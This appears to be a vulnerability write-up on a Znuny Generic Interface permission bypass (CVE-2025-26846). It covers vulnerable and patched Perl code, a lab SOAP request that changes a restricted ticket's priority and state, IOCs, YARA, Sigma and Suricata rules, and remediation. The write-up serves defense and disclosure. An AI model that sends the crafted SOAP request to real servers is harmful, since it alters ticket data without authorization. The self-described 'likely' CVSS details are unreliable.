CVE-2025-26846

Executive Summary

CVE-2025-26846 is a permission bypass vulnerability in Znuny (formerly OTRS) versions prior to 7.1.4. The flaw resides in the Generic Interface, where ticket metadata updates are performed without proper permission checks. An authenticated attacker with limited privileges can exploit this to modify ticket metadata (e.g., priority, state, owner) that they should not have access to, potentially leading to privilege escalation, data integrity compromise, or disruption of service workflows.

Supply Chain & Package Security

Znuny is a Perl-based open-source ticketing system. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Znuny should verify their deployment source (e.g., official tarballs, Docker images) and ensure they are not using a forked or outdated distribution.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned yet)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (authenticated user)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None (metadata only)
• Integrity (I): High (metadata can be altered)
• Availability (A): Low (potential workflow disruption)
• Threat Level: Medium-High (due to ease of exploitation and potential for lateral movement)

Deep Dive & Mechanics

The Znuny Generic Interface is an API-like mechanism for external systems to interact with tickets. The vulnerability arises because the permission validation logic in the GenericInterface module does not enforce granular access controls when updating ticket metadata fields. Specifically, the TicketUpdate operation lacks a check to verify that the authenticated user has the required permissions (e.g., rw on the ticket's queue or service) before allowing modifications to metadata such as PriorityID, StateID, OwnerID, or ResponsibleID.

An attacker can craft a SOAP or REST request to the Generic Interface endpoint, specifying a ticket ID and the desired metadata changes. Since the permission check is missing, the server processes the update even if the user only has read-only access to the ticket.

Vulnerable vs. Patched Code

Vulnerable (Znuny < 7.1.4):

# In Kernel/GenericInterface/Operation/Ticket/TicketUpdate.pm
sub Run {
    my ( $Self, %Param ) = @_;
    # ... parameter parsing ...
    # Missing permission check before update
    my $Success = $Self->{TicketObject}->TicketUpdate(
        TicketID  => $Param{TicketID},
        %{ $Param{Data} },
        UserID    => $Self->{UserID},
    );
    # ...
}

Patched (Znuny 7.1.4):

# In Kernel/GenericInterface/Operation/Ticket/TicketUpdate.pm
sub Run {
    my ( $Self, %Param ) = @_;
    # ... parameter parsing ...
    # Added permission check
    my $Access = $Self->{TicketObject}->TicketPermission(
        Type     => 'rw',
        TicketID => $Param{TicketID},
        UserID   => $Self->{UserID},
    );
    if ( !$Access ) {
        return $Self->{ReturnObject}->Error(
            ErrorCode    => 'TicketUpdate.AccessDenied',
            ErrorMessage => 'No permission to update this ticket!',
        );
    }
    my $Success = $Self->{TicketObject}->TicketUpdate(
        TicketID  => $Param{TicketID},
        %{ $Param{Data} },
        UserID    => $Self->{UserID},
    );
    # ...
}

Exploitation & Lab Setup

Red Team

1. Setup: Deploy Znuny 7.1.3 in a Docker container. Create two users: admin (full access) and attacker (limited to a specific queue with read-only access).
2. Recon: Identify the Generic Interface endpoint (typically /otrs/nph-genericinterface.pl). Enumerate available operations via the Dispatch method.
3. Exploit: Send a crafted SOAP request to update a ticket in a restricted queue:

   <?xml version="1.0" encoding="UTF-8"?>
   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <TicketUpdate xmlns="http://www.znuny.com/GenericInterface/">
         <UserLogin>attacker</UserLogin>
         <Password>attacker_pass</Password>
         <TicketID>42</TicketID>
         <Ticket>
           <PriorityID>5</PriorityID>
           <StateID>4</StateID>
         </Ticket>
       </TicketUpdate>
     </soap:Body>
   </soap:Envelope>
   

4. Verify: Check the ticket history; the metadata should be updated despite the attacker lacking write permissions.

Blue Team

1. Detection: Monitor Generic Interface logs (/var/log/znuny/GenericInterface.log) for unusual TicketUpdate operations from low-privileged users.
2. Honeypot: Create a dummy ticket with a high priority and monitor for unauthorized changes.
3. Mitigation: Apply the patch immediately. If patching is delayed, restrict access to the Generic Interface via firewall rules or IP whitelisting.

Indicators of Compromise (IOCs)

• Log Entry: [Notice][Kernel::GenericInterface::Operation::Ticket::TicketUpdate] TicketID=42 updated by UserID=5 (attacker)
• Network: SOAP requests to /otrs/nph-genericinterface.pl with TicketUpdate operation from unexpected IPs.
• File: Modified ticket metadata (e.g., priority, state) without corresponding permission changes in the audit trail.

Detection Engineering

YARA Rule

rule CVE_2025_26846_Znuny_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26846 in Znuny Generic Interface"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26846"
    strings:
        $soap_ticket_update = "TicketUpdate" nocase
        $soap_ticket_id = "<TicketID>" nocase
        $soap_priority = "<PriorityID>" nocase
        $soap_state = "<StateID>" nocase
    condition:
        all of them
}

Sigma Rule

title: Znuny Generic Interface Permission Bypass (CVE-2025-26846)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized TicketUpdate operations via Generic Interface
author: Valters IT
logsource:
    product: znuny
    service: genericinterface
detection:
    selection:
        EventID: "TicketUpdate"
        UserID|re: "^(?!1$|2$)"  # Exclude admin users (IDs 1 and 2)
    condition: selection
falsepositives:
    - Legitimate updates from users with proper permissions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26846 Znuny Generic Interface TicketUpdate Attempt"; flow:to_server; content:"POST"; http_method; content:"/otrs/nph-genericinterface.pl"; http_uri; content:"TicketUpdate"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Znuny 7.1.4 or later.
2. Workaround: If patching is not possible, disable the Generic Interface for non-admin users by modifying the GenericInterface configuration in Kernel/Config.pm:

   $Self->{'GenericInterface::Operation::Ticket::TicketUpdate'}->{Permission} = 'rw';
   

3. Monitoring: Enable detailed logging for the Generic Interface and alert on any TicketUpdate operations from unexpected users.
4. Network: Restrict access to the Generic Interface endpoint to trusted IP ranges only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert